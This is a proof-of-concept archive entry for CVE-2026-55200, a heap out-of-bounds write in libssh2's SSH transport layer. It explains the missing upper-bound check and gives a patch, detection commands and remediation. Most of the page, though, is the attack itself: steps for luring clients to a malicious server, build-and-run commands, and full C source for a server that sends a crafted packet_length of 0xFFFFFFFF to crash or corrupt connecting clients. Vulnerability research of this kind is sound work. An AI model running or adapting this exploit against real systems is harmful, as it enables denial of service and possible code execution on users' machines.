PoC Archive PoC Archive
Critical CVE-2026-55200 patched

libssh2 SSH Packet Length OOB Heap Write / Unauthenticated RCE (CVE-2026-55200)

by TristanInSec (discovery); Ashraf Zaryouh / 0xBlackash (PoC) · 2026-06-30

Metadata

FieldValue
Date Added2026-06-30
Last Updated2026-06-30
Author / ResearcherTristanInSec (discovery); Ashraf Zaryouh / 0xBlackash (PoC)
CVE / AdvisoryCVE-2026-55200
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NIST); 9.2 (CVSSv4, VulnCheck)
StatusPoC
TagsRCE, OOB-write, heap-corruption, libssh2, SSH, integer-overflow, unauthenticated, C, network
RelatedN/A

Affected Target

FieldValue
Software / Systemlibssh2 (SSH client library)
Versions Affectedlibssh2 0.x through 1.11.1
Language / PlatformC; Linux / macOS / Windows (any platform embedding libssh2)
Authentication RequiredNo
Network Access RequiredYes (client connects to attacker-controlled SSH server)

Summary

CVE-2026-55200 is a critical heap out-of-bounds write in libssh2’s SSH transport layer (ssh2_transport_read() in src/transport.c). The function validates that packet_length is greater than zero but performs no upper-bound check, allowing an attacker-controlled SSH server to supply packet_length = 0xFFFFFFFF. libssh2 then allocates insufficient memory and writes packet data far beyond the buffer boundary, corrupting heap structures. The vulnerability requires no authentication — any libssh2 client that connects to a malicious server is at risk. Fixed in libssh2 commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 (PR #2052, merged June 12, 2026).


Vulnerability Details

Root Cause

ssh2_transport_read() in src/transport.c validates packet length with only a lower-bound check:

1
2
3
/* Before fix */
if(p->packet_length < 1)
    return LIBSSH2_ERROR_DECRYPT;

No upper bound is enforced. The fix adds:

1
2
3
/* After fix */
else if(p->packet_length > LIBSSH2_PACKET_MAXPAYLOAD)
    return LIBSSH2_ERROR_OUT_OF_BOUNDARY;

When an attacker supplies packet_length = 0xFFFFFFFF, the library allocates a small buffer then writes the oversized payload into heap memory beyond the allocation, corrupting adjacent heap metadata and data.

Attack Vector

The attacker operates a malicious SSH server. Any libssh2 client connecting to that server is vulnerable regardless of user interaction — the vulnerability triggers during the SSH handshake before authentication.

Attack Steps

  1. Run the PoC server on a chosen port (default 2222).
  2. Lure or wait for a libssh2 client to connect (e.g., a CI/CD pipeline, SFTP client, embedded device, or any app using libssh2 for SSH).
  3. PoC sends a valid SSH banner and SSH_MSG_KEXINIT to complete the handshake preamble.
  4. PoC sends a crafted packet with packet_length = 0xFFFFFFFFU.
  5. Vulnerable client’s heap is corrupted; DoS or RCE depending on heap layout.

Impact

  • Denial of service (process crash) in all vulnerable clients.
  • Heap corruption enabling arbitrary code execution in exploitable heap layouts.
  • Any software or language binding built on libssh2 is affected: Rust ssh2 crate, Python libssh2-python, PHP SSH2 extension, embedded systems, network appliances, CI/CD agents.

Environment / Lab Setup

Attacker:  Linux host with gcc + pthread
PoC role:  Malicious SSH server
Victim:    Any libssh2 client (libssh2 0.x – 1.11.1) connecting to attacker server

Build and Run

1
2
3
4
git clone https://github.com/0xBlackash/CVE-2026-55200
cd CVE-2026-55200
gcc -o poc CVE-2026-55200.c -pthread
./poc 2222        # listen on port 2222

Then connect any libssh2 client to the PoC server:

1
sftp -P 2222 user@<attacker-ip>

Proof of Concept

Exploit Flow

The PoC implements a minimal malicious SSH server:

  1. Sends SSH-2.0-0xBlackash-Malicious\r\n banner.
  2. Exchanges SSH_MSG_KEXINIT with the connecting client.
  3. Sends a crafted SSH record with packet_length = 0xFFFFFFFFU after the key exchange.
  4. Client’s ssh2_transport_read() passes the lower-bound check, allocates a small buffer, and attempts to read/write 0xFFFFFFFF bytes — corrupting heap memory.

Expected Output

[*] Listening on port 2222...
[*] Client connected: 192.168.1.50:54321
[*] Sending malicious banner...
[*] Handshake in progress...
[*] Sending crafted packet: length=0xffffffff
[*] Done. Check client for crash/corruption.

Client-side (vulnerable):

Segmentation fault (core dumped)

Detection & Indicators of Compromise

1
2
3
4
5
6
ldd /usr/bin/sftp | grep libssh2

dpkg -l libssh2-1 | grep -v 1.11.2
rpm -q libssh2 | awk -F- '{print $3}'

journalctl -u sshd --since "1 hour ago" | grep -i "segfault\|SIGABRT"

Remediation

ActionDetail
PatchUpgrade libssh2 to ≥ 1.11.2 or rebuild against commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
VerifyConfirm LIBSSH2_VERSION ≥ 1.11.2 in linked applications
NetworkRestrict outbound SSH connections to trusted servers; block connections to unknown SSH endpoints

References

CVE-2026-55200.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
/*
 * CVE-2026-55200 Reliable PoC
 * Author: Ashraf Zaryouh "0xBlackash"
 * Improved handshake + timeout handling
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <errno.h>

#define SSH_BANNER "SSH-2.0-0xBlackash-Malicious\r\n"
#define MALICIOUS_PACKET_LENGTH 0xFFFFFFFFU

void *handle_client(void *arg) {
    int client_sock = *(int *)arg;
    free(arg);
    char buffer[8192];
    ssize_t n;

    printf("[+] Client connected. Starting handshake...\n");

    // 1. Send Banner
    send(client_sock, SSH_BANNER, strlen(SSH_BANNER), 0);
    usleep(200000);

    // 2. Receive client banner
    n = recv(client_sock, buffer, sizeof(buffer)-1, 0);
    if (n > 0) buffer[n] = '\0';

    // 3. Send fake SSH_MSG_KEXINIT
    unsigned char kexinit[] = {
        0x00, 0x00, 0x00, 0x10, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    send(client_sock, kexinit, sizeof(kexinit), 0);
    usleep(300000);

    // 4. Try to receive client KEXINIT
    n = recv(client_sock, buffer, sizeof(buffer), 0);

    printf("[+] Handshake stage passed. Sending malicious packet...\n");

    // 5. Malicious Packet
    unsigned char malicious[1024] = {0};
    uint32_t pkt_len = MALICIOUS_PACKET_LENGTH;
    unsigned char pad_len = 8;

    memcpy(malicious, &pkt_len, 4);
    malicious[4] = pad_len;
    memset(malicious + 5, 0x41, 700);

    size_t total = 5 + 700 + pad_len;
    send(client_sock, malicious, total, 0);

    printf("[+] Malicious packet sent (packet_length = 0x%X)\n", MALICIOUS_PACKET_LENGTH);
    printf("[!] If client uses vulnerable libssh2 <= 1.11.1 → OOB write should trigger now.\n");

    close(client_sock);
    return NULL;
}

int main(int argc, char *argv[]) {
    int server_sock, client_sock, port = 2222;
    struct sockaddr_in server_addr, client_addr;
    socklen_t addr_len = sizeof(client_addr);

    if (argc > 1) port = atoi(argv[1]);

    printf("[*] CVE-2026-55200 Reliable PoC by 0xBlackash\n");
    printf("[!] Research / Educational use ONLY in isolated lab.\n");
    printf("[+] Listening on port %d...\n", port);

    server_sock = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(port);

    if (bind(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind");
        exit(1);
    }
    if (listen(server_sock, 10) < 0) {
        perror("listen");
        exit(1);
    }

    while (1) {
        client_sock = accept(server_sock, (struct sockaddr *)&client_addr, &addr_len);
        if (client_sock < 0) continue;

        printf("[+] Connection from %s:%d\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

        int *ptr = malloc(sizeof(int));
        *ptr = client_sock;

        pthread_t t;
        pthread_create(&t, NULL, handle_client, ptr);
        pthread_detach(t);
    }
}